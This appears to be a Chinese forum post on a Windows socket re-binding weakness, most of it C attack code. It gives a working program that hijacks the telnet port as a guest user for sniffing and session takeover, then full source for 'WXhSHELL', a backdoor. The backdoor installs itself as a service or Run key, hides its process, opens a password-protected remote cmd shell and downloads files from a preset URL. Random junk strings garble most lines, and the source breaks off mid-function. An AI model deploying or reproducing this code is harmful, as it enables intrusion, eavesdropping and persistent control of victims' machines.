在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
yMbg1+:
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
VRa>bS |jE0H!j saddr.sin_family = AF_INET;
8P3"$2q = F"vL saddr.sin_addr.s_addr = htonl(INADDR_ANY);
z;ko ) a EmLf bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
,fW%Qv C{8(ew 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
lr_c P+t`Rw 这意味着什么?意味着可以进行如下的攻击:
JE.s?k |(\T;~7' 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
B`<K]ut ?hS&OtW
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
c.eA]m q i-*ZW: 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
%?z8*G]M Ea\Khf]2 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
<mX EX`? ?."YP[; 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
~V6wcXd |QB[f*y5 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
%uy5la C4^o=
6{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
6#DDMP8;I X{G&r$ #include
{<1 ]cP #include
y$C\b\hM #include
$|%BaEyk #include
r>ca17 DWORD WINAPI ClientThread(LPVOID lpParam);
#cy;((z uB int main()
NANgV~Y& {
U/l3C(bc! WORD wVersionRequested;
sw$$I~21 DWORD ret;
N- :.z]j#_ WSADATA wsaData;
S{#L7S BOOL val;
K]c\3[vR SOCKADDR_IN saddr;
.bvEE SOCKADDR_IN scaddr;
dcbE<W#ss int err;
Y~[k_! SOCKET s;
5Gw B1}q SOCKET sc;
pa8R;A70Dl int caddsize;
HS
>B\Ip" HANDLE mt;
N>Q~WXvV# DWORD tid;
^(on"3sG wVersionRequested = MAKEWORD( 2, 2 );
!b 4v}70, err = WSAStartup( wVersionRequested, &wsaData );
s2*~n_B if ( err != 0 ) {
-h8@B+ printf("error!WSAStartup failed!\n");
c1aIZ return -1;
[h[@?8vB }
e> -fI_+b saddr.sin_family = AF_INET;
AMf{E Z(:q.{"r //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
j9^V)\6) N83c+vs%c saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
;G|#i?JJ saddr.sin_port = htons(23);
yeqHeZ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!
n13B {
5~GH*!h%; printf("error!socket failed!\n");
,zVS}!jRhy return -1;
"cD MFu }
5e}adHjM val = TRUE;
V18A|]k //SO_REUSEADDR选项就是可以实现端口重绑定的
^LAnR>mz^r if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
hYB3tT {
&.1qixXIr printf("error!setsockopt failed!\n");
N/6!|F return -1;
$QB/n63 }
<kOdd)X //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
@
q:S]YB //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
&5d~ODO //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
;(r,;S_`0 6%L#FSI if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
!j%MN{#a {
^bk:g}o ret=GetLastError();
l#bE_PD; printf("error!bind failed!\n");
BHN EP |= return -1;
+*L<"@ }
k$3Iv"gbx listen(s,2);
Cm%|hk>fQ while(1)
</]a`h] {
#sM`>KG6T1 caddsize = sizeof(scaddr);
uF<}zFS //接受连接请求
x@#aOf4<U sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
nAaY5s0D if(sc!=INVALID_SOCKET)
xVN(It7g {
buKSZ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
]e6$ ={ if(mt==NULL)
Nbb2wr9A {
8@,8j!$8G printf("Thread Creat Failed!\n");
<N{Y*,^z break;
}?^]-`b }
u5N&W n{ }
pc2;2^U_ CloseHandle(mt);
Dgc}T8R }
q1pB~eg5 closesocket(s);
\c4D|7\= WSACleanup();
7_ s7); return 0;
\=uD)9V }
zmhL[1qj DWORD WINAPI ClientThread(LPVOID lpParam)
zS*vKyye> {
t Z@OAPRx SOCKET ss = (SOCKET)lpParam;
{4eI}p< SOCKET sc;
=A{s,UP unsigned char buf[4096];
Pl\NzB,` SOCKADDR_IN saddr;
9";qR, long num;
21[=xboU DWORD val;
d.yATP DWORD ret;
T^Ol=QCu //如果是隐藏端口应用的话,可以在此处加一些判断
#
11<=3Yj //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
T/234;Uf| saddr.sin_family = AF_INET;
RQYD#4| saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
QjOY1Xze saddr.sin_port = htons(23);
sB8v: if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
lk.Mc6) {
bT15jNa printf("error!socket failed!\n");
u0F{.fe return -1;
GBY{O2!3u }
w8cbhc val = 100;
,H>'1~q if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5Nl?Km~ {
<w3_EO ret = GetLastError();
!v.
<H]s) return -1;
gH
yJ~ }
[ji')PCAi; if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
kMZo7 y {
x
Nb7VUV7 ret = GetLastError();
qSt\ 6~ return -1;
L)c]i'WZ }
a66Ns7Rb if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
(_]D\g~ {
XhUVDmeUMb printf("error!socket connect failed!\n");
XtqhK"f% closesocket(sc);
OlP1Zd/l closesocket(ss);
q$PO.# return -1;
-"rANP-UI }
^hcK& while(1)
c#-*]6x {
&v#pS!UO j //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
f2u4*X
E\ //如果是嗅探内容的话,可以再此处进行内容分析和记录
g@Pq< //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Y`."=8R~ num = recv(ss,buf,4096,0);
,P%i%YPj if(num>0)
hP}-yW6] send(sc,buf,num,0);
-S#jOr else if(num==0)
3_8W5J3I break;
kD(#LM<9s num = recv(sc,buf,4096,0);
\k{d'R#~( if(num>0)
Mm;[f'{M) send(ss,buf,num,0);
$18?Q+?3 else if(num==0)
\5}*;O@ break;
VTwQD"oB }
!j%uwje\ closesocket(ss);
iJ`zWpj+{Q closesocket(sc);
/>wE[` return 0 ;
a7!{`fR5 }
L;WFHIE 0BH-kr 3$S~!fh ==========================================================
ZW4$Ks2]Y a(kY,<} 下边附上一个代码,,WXhSHELL
v
6s]X*l? ^1y D&i'q ==========================================================
!%[fi[p 1@i/N #include "stdafx.h"
Nt\0) &b "'C5B>qO #include <stdio.h>
9h/Hy aN #include <string.h>
sX-@
>%l #include <windows.h>
c
dWg_WBC #include <winsock2.h>
axOEL:-|Bu #include <winsvc.h>
Y<V$3h #include <urlmon.h>
M:dH> !f]kTs]j~ #pragma comment (lib, "Ws2_32.lib")
H%>^_:h #pragma comment (lib, "urlmon.lib")
Lrmhr3
w5 > `mV^QD #define MAX_USER 100 // 最大客户端连接数
%=$Knc_!T^ #define BUF_SOCK 200 // sock buffer
'S|7<<>4k #define KEY_BUFF 255 // 输入 buffer
+,cd$,18 ra2{8 x #define REBOOT 0 // 重启
zI\+]U' #define SHUTDOWN 1 // 关机
ksTK'7* 4)8e0L*[B? #define DEF_PORT 5000 // 监听端口
HYL['B?Wid 8/T,{J\ #define REG_LEN 16 // 注册表键长度
PEg]z #define SVC_LEN 80 // NT服务名长度
4Y1dkg1y ZtmaV27s/ // 从dll定义API
'Yi="kno typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
!^o{}*]Pi typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Te`@{> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
e^,IZ{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
|QD#Dx1_ ;+.cD // wxhshell配置信息
c3 )jsf struct WSCFG {
iXq*EZb"R int ws_port; // 监听端口
o/Q|R+yXV char ws_passstr[REG_LEN]; // 口令
"
%qr*| int ws_autoins; // 安装标记, 1=yes 0=no
:K 5?&kT char ws_regname[REG_LEN]; // 注册表键名
wWSo+40 char ws_svcname[REG_LEN]; // 服务名
3@:O1i char ws_svcdisp[SVC_LEN]; // 服务显示名
3 qJ00A char ws_svcdesc[SVC_LEN]; // 服务描述信息
xkU8(= char ws_passmsg[SVC_LEN]; // 密码输入提示信息
97qf3^gGd int ws_downexe; // 下载执行标记, 1=yes 0=no
c2Exga_ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Eg8b|!-')8 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
q6 ny2;/r Zd88+GS,# };
d3Y;BxEz p<z eaf0W // default Wxhshell configuration
5S,Kq35$( struct WSCFG wscfg={DEF_PORT,
)8oN$20 "xuhuanlingzhe",
J_fs}Y1q\ 1,
Pd-LDs+Ga "Wxhshell",
`HO]
kJpX "Wxhshell",
s 0_*^cZ "WxhShell Service",
; O(M l }z "Wrsky Windows CmdShell Service",
bt(Y@3; "Please Input Your Password: ",
)EQz9 1,
v~yw-}fk% "
http://www.wrsky.com/wxhshell.exe",
H^54o$5 "Wxhshell.exe"
KVh#"]<WV };
\.}ZvM$ %H;}+U]Z // 消息定义模块
8a&c=9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
`6lOq H char *msg_ws_prompt="\n\r? for help\n\r#>";
^G2M4+W| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
SM%/pu; char *msg_ws_ext="\n\rExit.";
D.Cn`O} char *msg_ws_end="\n\rQuit.";
jm@,Ihz=wI char *msg_ws_boot="\n\rReboot...";
*8uS,s6g char *msg_ws_poff="\n\rShutdown...";
ecQ{ePoU char *msg_ws_down="\n\rSave to ";
r
d-yqdJ g{i= $xc char *msg_ws_err="\n\rErr!";
5IOGH*'U8 char *msg_ws_ok="\n\rOK!";
em5~4;&' .9WOTti char ExeFile[MAX_PATH];
Bs` {qmbC int nUser = 0;
=m F"D:s* HANDLE handles[MAX_USER];
>3pT).wH|M int OsIsNt;
TOF V`7q;3 /]_|uN)Q SERVICE_STATUS serviceStatus;
j"hEs(t SERVICE_STATUS_HANDLE hServiceStatusHandle;
S3i p?9 #oFyi @U // 函数声明
YM6
J:89 int Install(void);
FRajo~H int Uninstall(void);
UCK;?] int DownloadFile(char *sURL, SOCKET wsh);
0[M2LF!m int Boot(int flag);
|Olz h63k: void HideProc(void);
`/'p1?Z" int GetOsVer(void);
_ E-\aS{ int Wxhshell(SOCKET wsl);
=.&8ghJ*M void TalkWithClient(void *cs);
K*{RGE int CmdShell(SOCKET sock);
I>JE\## ^n int StartFromService(void);
rsLkH&aM int StartWxhshell(LPSTR lpCmdLine);
PH%'^YAl7 MG~Z)+g=y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Rd5-ao4 VOID WINAPI NTServiceHandler( DWORD fdwControl );
EI7n|X
a1q [3s-S+n
@ // 数据结构和表定义
GlTpK^. SERVICE_TABLE_ENTRY DispatchTable[] =
Kw$@_~BJ6 {
S9]I[4 {wscfg.ws_svcname, NTServiceMain},
~]QQaP {NULL, NULL}
L\UGC%]9 };
"]kzt ux 4}k@p>5v' // 自我安装
!02y'JS1 int Install(void)
hc[J,yG {
'|Bk}pl7 char svExeFile[MAX_PATH];
:Yn.Wv- HKEY key;
6i~|<vcSP strcpy(svExeFile,ExeFile);
/9&!u )+ ygH )U. // 如果是win9x系统,修改注册表设为自启动
/}
z9( if(!OsIsNt) {
s]OZ+^Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
rks"y&&Nc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(H&HSs RegCloseKey(key);
4x(m.u@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
z-b78A/8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:aomDK* RegCloseKey(key);
i{TPf1OY`M return 0;
R`E:`t4G }
-j]c(Q MA] }
WeaT42*Q{ }
H#D:'B j29 else {
,zr9* t 7M7Lj0Y)L // 如果是NT以上系统,安装为系统服务
HR"clD\{Di SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
]u!s-=3s if (schSCManager!=0)
ZJU
%&@ {
k}qQG}hB SC_HANDLE schService = CreateService
LH)1IGAx2y (
i!*<LIq schSCManager,
+6$+]u] wscfg.ws_svcname,
=}Zl
E wscfg.ws_svcdisp,
sR>>l3H SERVICE_ALL_ACCESS,
i%.k{MY SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
bf+C=A)s0 SERVICE_AUTO_START,
ymqv@Byi8A SERVICE_ERROR_NORMAL,
%K')_NS@ svExeFile,
NK/y,f6 NULL,
Yj>4*C9 NULL,
6H:
fg NULL,
,b - NULL,
>
^zNKgSQ NULL
7gN;9pc$ );
Khi;2{` if (schService!=0)
6E
K <9M {
t0e5L{ QJ CloseServiceHandle(schService);
ui,!_O .c CloseServiceHandle(schSCManager);
%G\nl strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
R:&y@/JY8[ strcat(svExeFile,wscfg.ws_svcname);
ga/zt-& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
z9 Ch %A{ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
~cSXBc,+ RegCloseKey(key);
du$M return 0;
,7bhUE/VB }
M1Ff ,]w }
/CO=!*7fz
CloseServiceHandle(schSCManager);
L&)e}" }
hZ452W }
K$,<<hl mz%l4w?' return 1;
K mH))LIv }
9xz@2b@ k<Gmb~Tg1 // 自我卸载
AVw oOvJ int Uninstall(void)
i0/QfB%O {
gBhX=2% HKEY key;
zJW2F_ L~{(9J'( if(!OsIsNt) {
MXfyj5K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
;lb RegDeleteValue(key,wscfg.ws_regname);
PNo:[9`S;m RegCloseKey(key);
]?H12xz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-K?lhu RegDeleteValue(key,wscfg.ws_regname);
^*`#+*C RegCloseKey(key);
l$\B>u,> return 0;
N,rd= m+ }
J-'XT_k:iM }
J/K~8sc }
Q"u2< else {
&.DRAD) 7r'_p$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
rf|Nu3AJ if (schSCManager!=0)
ru2M"]T {
EC8Z. Uu SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
9uWg4U if (schService!=0)
n/(}|xYU {
N8At N\e if(DeleteService(schService)!=0) {
[ !#Dba# CloseServiceHandle(schService);
D!Y@Og. CloseServiceHandle(schSCManager);
?M&@# lbG return 0;
c8[kL$b;j }
}=R0AKz!Cv CloseServiceHandle(schService);
:{)uD
; }
5PZ7-WJ/ CloseServiceHandle(schSCManager);
Q&{C%j~N }
t !6sU]{ }
$Ugc:L<h+ #~/9cVm$ return 1;
(0Br`%!F }
.6$=]hdAp Uv>e :U7 ; // 从指定url下载文件
%i3[x.M int DownloadFile(char *sURL, SOCKET wsh)
tjRwbnT" {
X$\CC18 HRESULT hr;
mxF+Fp~ char seps[]= "/";
J5Zz*'av' char *token;
%G2g
@2 char *file;
[<U=)!Swg char myURL[MAX_PATH];
y
`FZ 0FI char myFILE[MAX_PATH];
Q njK<}M9 T^#d;A strcpy(myURL,sURL);
*5oQZ".vA* token=strtok(myURL,seps);
$dKfUlO while(token!=NULL)
WO9vOS> {
i0wBZ i? file=token;
=>c0NT token=strtok(NULL,seps);
+JC"@
}
'@+q_v@Jl 9-{ +U,3) GetCurrentDirectory(MAX_PATH,myFILE);
,.(:b82$ strcat(myFILE, "\\");
0_ST2I"Ln strcat(myFILE, file);
H/M]YUs/3 send(wsh,myFILE,strlen(myFILE),0);
~=c5q send(wsh,"...",3,0);
-f ~1Id hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
"#gKI/[qxq if(hr==S_OK)
klAlS% return 0;
+U
J~/XV else
;%
KS?;%[ return 1;
B.od{@I(Xp FIfLDT+ Wh }
~E8/m_> rU 3]9wfT%d // 系统电源模块
,7s+-sRG int Boot(int flag)
|,`"Omb9+m {
!9HWx_,|Z HANDLE hToken;
w<THPFFF" TOKEN_PRIVILEGES tkp;
P3W3+pwq s 7wA3|9 if(OsIsNt) {
h@*I(ND< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
~a2|W|? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
%hBwc#^ tkp.PrivilegeCount = 1;
q({-C tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Tf!6N<dRXR AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
VByA6^JR if(flag==REBOOT) {
:d35?[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
TAOsg0 return 0;
;PG=
3j_ }
vv2[t else {
_8y4U[L if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
E A55! return 0;
0[d*Z }
AU)\ lyB }
! jApV else {
A#?Cts,M if(flag==REBOOT) {
0Cf'\2
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
/mp!%j~ return 0;
V\L%*6O }
&$2d=q8mh else {
jPz1W4pk if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
>#&2 5,Q return 0;
Y=Ic<WHR }
^fO9oPM| }
KwaxNb5 T zS?WYF return 1;
,d lq2 }
sl@>GbnS 4HZXv\$ // win9x进程隐藏模块
2#yDVN$ void HideProc(void)
VuTTWBx {
HbPn<x^7 6hR `sE HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
PU%f`) if ( hKernel != NULL )
*PFQ {
%zY5'$v ` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
tUOY`]0 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Nc[N 11?O FreeLibrary(hKernel);
t OJyj49^a }
%ueD3;V j-"34 return;
+Tx_q1/f5X }
`ItoL7bi V'dw=W17V // 获取操作系统版本
m##!sF^k~J int GetOsVer(void)
KrG,T5 {
NhTJB7 OSVERSIONINFO winfo;
cVMRSp winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
HrZX~JnTmf GetVersionEx(&winfo);
:|ahu if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
3Ur_?PM+C return 1;
j@+$lU*r else
3HcduJntl return 0;
WPpO(@sn }
f<rn't{ 9Qu(RbDqC // 客户端句柄模块
=<PEvIn int Wxhshell(SOCKET wsl)
':tdb$h {
.w{Y3,dd> SOCKET wsh;
X}x\n\Z struct sockaddr_in client;
%#&njP DWORD myID;
!'[?cEog :/$_eg0A while(nUser<MAX_USER)
Sa@'?ApH {
L[nDjQn" int nSize=sizeof(client);
{' 0#<Z wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
?VRsgV'$ if(wsh==INVALID_SOCKET) return 1;
]2|fc5G' 4e|N^h*! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
$~1mKx]] if(handles[nUser]==0)
Val"vUZ closesocket(wsh);
b3 =Z~iLv else
[MbbL nUser++;
Tjv'S
< }
aqQ+A:g WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
8*#$3e Bvj sl return 0;
Eld[z{n" }
o6~JAvw \Z42EnJ // 关闭 socket
`s
UY$Q void CloseIt(SOCKET wsh)
HIE8@Rv/3 {
}><[6Uz% closesocket(wsh);
9MI9$s2y nUser--;
Z'!ORn#M ExitThread(0);
{{M/=WqC }
E6O!e<ze^ W4k$m2 // 客户端请求句柄
s>\^dtG7 void TalkWithClient(void *cs)
GBpdj}2= {
n=$ne2/ *ej< 0I{ SOCKET wsh=(SOCKET)cs;
KDGrX[L:6 char pwd[SVC_LEN];
+|X`cmnuU char cmd[KEY_BUFF];
ae@!M char chr[1];
#QcRN?s int i,j;
jgPUR#) MXEI/mDYK while (nUser < MAX_USER) {
Oi^cs=} ibwV#6 if(wscfg.ws_passstr) {
1HAnOy0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=v<A&4 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
0QfDg DX //ZeroMemory(pwd,KEY_BUFF);
C$C>RYE?. i=0;
+%K~ while(i<SVC_LEN) {
vV9vB3K5? _&s pMf // 设置超时
8qw{e`c fd_set FdRead;
&?1^/]'"r struct timeval TimeOut;
<~w 3[i=
FD_ZERO(&FdRead);
ln8NcAEx FD_SET(wsh,&FdRead);
P*|=Z>%[0 TimeOut.tv_sec=8;
, .;0xyc TimeOut.tv_usec=0;
srO>l ;Vf/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
p-EU"O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
m||9,z- %+|sbRBb if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
QE)zH)(
pwd
=chr[0]; I''n1v?N
if(chr[0]==0xd || chr[0]==0xa) { ,1Z([R*
pwd=0; 8c9<kGm$E
break; aL90:,V
} VEIct{
i++; &s?uMWR
} 5}]+|d;
4~FRE)8
// 如果是非法用户,关闭 socket $2i@@#g8
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L'aB/5_%
} hp9LV2_5
7(tsmP
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e`7>QS;.
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5%fWX'mS
pO:]3qv
while(1) { C8Mx>6
F?H=2mzKbz
ZeroMemory(cmd,KEY_BUFF); &zEBfr
U\j g X
// 自动支持客户端 telnet标准 u1#(~[.
j=0; ?(K=du
while(j<KEY_BUFF) { y6[ le*T
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]plp.f#av
cmd[j]=chr[0]; c@}t@k
if(chr[0]==0xa || chr[0]==0xd) { >ZG$8y 'j
cmd[j]=0; qsbo"29
break; 9=T;Dxn
} ;A7JX:*?y=
j++; xypgG;`\
} SvvNk
?vAhDD5
// 下载文件 es#6/
if(strstr(cmd,"http://")) { 7'i{JPm
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2;
,8 u
if(DownloadFile(cmd,wsh)) &}2@pu[S?7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X~"p]V_
else c6c@XdV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o}/|"(K
} VR&dy|5BO
else { &V<f;PF(I
3rMJC\h
switch(cmd[0]) { Kn@#5MC
rU
2=8PA/
// 帮助 H2#o
X
case '?': { 9Scg:}Nj
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KZZ Y9
break; lA/-fUA
} vBF9!6X .
// 安装 $*%,
case 'i': { T7.SjR6X>
if(Install()) ug ;Xoh5w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0^uUt-
else ysIhUpd
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aHpZhR|f$
break; ZBY2,%nAo
} +> !nqp
// 卸载 \$Wpt#V
case 'r': { '=Lpch2J
if(Uninstall()) U887@-!3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'xkl|P>=],
else 7f ub^'_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {CBb^BP
break; =dKjTBR S'
} { ,c*OR
// 显示 wxhshell 所在路径 "H`Be
case 'p': { Z10}xqi!X
char svExeFile[MAX_PATH]; *DfOm`m
strcpy(svExeFile,"\n\r"); dr=Q9%
strcat(svExeFile,ExeFile); >&S}u\/
send(wsh,svExeFile,strlen(svExeFile),0); 76<mP*5
break; y||RK`H
} _Q
I!UQdW
// 重启 *.|%uf.
case 'b': { EUcD[Rv
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BPt? 3tC
if(Boot(REBOOT)) 1Pw1TO"Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VlA]A,P}i
else { ;zD4#7=
closesocket(wsh); >Q=^X3to
ExitThread(0); Q#H"Se
}
w 0=
break; 23L>)Q
} jLVD37 P^
// 关机 =%IyR
case 'd': { 6Nn+7z<*&z
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8t*sp-cy|
if(Boot(SHUTDOWN)) At=d//5FFP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N=2T~M 1
else { C,l,fT
closesocket(wsh); =tt3nfZ9
ExitThread(0); q: FhuOP
} FV
"pJ
break; (M$>*O3SR
} c6 mS
// 获取shell -X$EE$:
case 's': { wxh\CBxG
CmdShell(wsh);
Fl=H5HR
closesocket(wsh); h^tCF=S
ExitThread(0); a6DR' BC
break; xLoQ0rt
6
} X7L:cVBg
// 退出 [I4MK%YQ
case 'x': { ~d]v{<3
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SU~.baP?
CloseIt(wsh); ~i%=1&K&`
break; QWfSm^
t
} {P~rf&Ee
// 离开 d8jH?P-"
case 'q': { -9= DDoO
send(wsh,msg_ws_end,strlen(msg_ws_end),0); OriYt
closesocket(wsh); jj]\]6@+P
WSACleanup(); #lvt4a"P"
exit(1); _(h=@cv
break; A[;deHg=
} MYy58N
} 4mo/MK&M:
} 0 N>K4ho6{
zQY ,}a
// 提示信息 1;=L]
L?
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %mT/y%&:
} <L qJg
} $ -1ajSVJ
<6 Rec^QF
return; ANu>*
} [h;I)ug[o(
\~%+)a%%
// shell模块句柄 m#RJRuZ|2V
int CmdShell(SOCKET sock) gUx}vE-
{ g-d{"ZXd J
STARTUPINFO si; 96V8R<
ZeroMemory(&si,sizeof(si)); aH_c84DS
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lY
tt|J
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^{MqJ\S7H
PROCESS_INFORMATION ProcessInfo; JnBc@qnP6
char cmdline[]="cmd"; 4DCh+|r
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _<.VP
return 0; 8~C}0H
} }bS1M
d0I s|Gs
// 自身启动模式 }UW*[dCf>C
int StartFromService(void) ?{f6su@rW
{ o1(;"5MM
typedef struct Wds>'zzS
{ jC>ZMy8U)4
DWORD ExitStatus; X13+n2^8]
DWORD PebBaseAddress; 'M"z3j]m-,
